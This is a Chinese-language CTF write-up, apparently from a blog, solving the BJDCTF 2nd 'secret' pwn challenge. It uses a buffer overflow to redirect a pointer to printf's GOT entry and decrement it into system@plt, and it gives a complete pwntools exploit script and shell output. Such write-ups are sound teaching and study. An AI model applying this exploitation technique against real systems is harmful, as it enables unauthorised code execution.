–[BJDCTF 2nd]secret

checksec

matrix@ubuntu:~/PWN/BUU$ checksec secret
[*] '/home/matrix/PWN/BUU/secret'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
只关闭了 PIE

IDA–关键函数

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  sub_46A3AF();
  if ( (unsigned int)sub_40136D() )  //将输入与内部数据进行对比
    sub_401301();    //printf(&s)  
  system("cat /flag");
  return 0LL;
}

unsigned __int64 sub_46A3AF()
{
  unsigned int i; // [rsp+Ch] [rbp-54h]
  char s; // [rsp+10h] [rbp-50h]
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  *(_DWORD *)data_1 = 10000;   //对比次数1000  然而对比次数是代码内定的与这个数没有半毛钱关系
  for ( i = 0; i <= 9; ++i )
    data_buf[i] = 0;                            // data_buf 0x10bytes
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  puts("@====================================@");
  print_menu("# What's your name? ________________ #", 20);
  data_buf[(signed int)((unsigned __int64)read(0, data_buf, 0x16uLL) - 1)] = 0;// 将结尾\n 换为截断符 '\x00'  可覆盖 data
  sprintf(&s, "#      Welcome %-16s      #", data_buf);
  puts(&s);
  puts("#====================================#");
  puts("#    I have toooooo many secrets >   #");
  puts("#        Can u find them _<          #");
  puts("#====================================#");
  return __readfsqword(0x28u) ^ v3;
}

题目大概意思就是让我们猜数字1000次 ,但是这些数字在IDA汇编码中都可以找到。
如果成功比对完成1000此sub_40136D()就会mov eax,0 使得if 中的判断为false(test eax, eax jnz short loc_46A51D),实在没有办法~
只有看看大佬wp

关键点

由于printf_plt和system_plt相邻:

pwndbg> plt
0x401030: puts@plt
0x401040: write@plt     
0x401050: strlen@plt
0x401060: __stack_chk_fail@plt
0x401070: system@plt   <========
0x401080: printf@plt   <========
相差 0x10

printf函数只有在if 判断成立(猜错数字)进入sub_401301()函数才会触发,所以在我们进入sub_401301()函数前printf_plt:

pwndbg> x/8i 0x401080
   0x401080 <printf@plt>:    jmp    QWORD PTR [rip+0x6bfba]        # 0x46d040    jmp [printf_got]
   0x401086 <printf@plt+6>:    push   0x5         <=======[printf_got] 
   0x40108b <printf@plt+11>:    jmp    0x401020
printf_got中放的是printf@plt+6>地址

所以我们要是能把printf_got中放的地址改为system_plt即可,那就相当于在call printf_plt 时会跳到 system_plt 而这时两者 的参数都是同一个(name)所以就可以拿到shell了

data_1

*(_DWORD *)data_1 = 10000;  data_1本来是一个void*类型 的指针 ,进行强制转换后赋值1000

.data:000000000046D080 data_buf        db 'Y0ur_N@me',0        ; DATA XREF: sub_401301+39↑o
.data:000000000046D080                                         ; sub_46A3AF+32↑o ...
.data:000000000046D08A                 align 10h
.data:000000000046D090 data_1          dq offset unk_46D0C0    ; DATA XREF: menu2+23↑r
.data:000000000046D090                                         ; get_serect_num+5A↑r ...
.data:000000000046D090 _data           ends                    ; data_1 == 1000
.data:000000000046D090

注意:别认为 1000就放在0x00000000046D090 上,这里放的是data_1指针 data_1通过gdb调试(或dq offset unk_46D0C0为偏移)可知道他指向一个高地址,所以这个1000就放在高地址。

因为我们read into buf时可以读入0x16个字节所以可以覆盖data_1的数据

pwndbg> x/8bx 0x000000000046D090 
0x46d090:    0xc0    0xd0    0x46    0x00    0x00    0x00    0x00    0x00

然后每次猜数时data_1所指向的 数据(1000)就会减一

unsigned __int64 get_serect_num()
{
  char buf; // [rsp+0h] [rbp-20h]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  print_menu("#           Secret: _____            #", 20);
  read(0, &buf, 0xAuLL);
  bss_secret_num = atoi(&buf);
  --*(_DWORD *)data_1;    <========
  return __readfsqword(0x28u) ^ v2;
}

思路

  • 通过buf溢出覆盖将data_1覆盖位printf_got地址 这时printf_got 还是指向 printf_plt的第二个指令地址(即printf_plt+6)
  • 进行猜数16次 最后一次故意猜错,那么printf_got所保存的printf_plt+6就会-16===> system_plt
  • 所以会进入if语句中执行printf函数 ,仅一个参数为name,跳转后等于执行了system(&name)

EXP

from pwn import*
context.log_level = 'debug'

sh = process('./secret')
elf = ELF('secret')
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
print "plt====>"+str(hex(printf_plt))
print "got====>"+str(hex(printf_got))
#sh = remote('node3.buuoj.cn',28920)
payload = '/bin/sh\x00'.ljust(0x10,'\x00') + p32(printf_got) #data_1所占的真实空间也就3字节
sh.sendline(payload)

num =[0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]

for x in num:
    #gdb.attach(sh)
    sh.sendlineafter('Secret:',str(x))
sh.sendline('1')
sh.interactive()

结果:

#====================================#
#           Secret: #====================================#
#             GAME OVER              #
#====================================#
#        BYE BYE~ $ whoami
[DEBUG] Sent 0x7 bytes:
    'whoami\n'
[DEBUG] Received 0x7 bytes:
    'matrix\n'
matrix
$  

MASS


  转载请注明: Squarer –[BJDCTF 2nd]secret

 上一篇
inndy_rop--mprotect函数 inndy_rop--mprotect函数
checksecmatrix@ubuntu:~/PWN/BUU$ checksec rop [*] '/home/matrix/PWN/BUU/rop' Arch: i386-32-little RELRO:
2020-09-27
下一篇 
Off By One Off By One
介绍主要指程序向缓冲区读入数据时发生溢出,并且只是溢出缓冲区一个字节。这通常是编程者没注意导致的。这种漏洞的产生往往与边界验证不严和字符串操作有关,当然也不排除写入的 size 正好就只多了一个字节的情况。其中边界验证不严通常包括 使用循
2020-09-27
  目录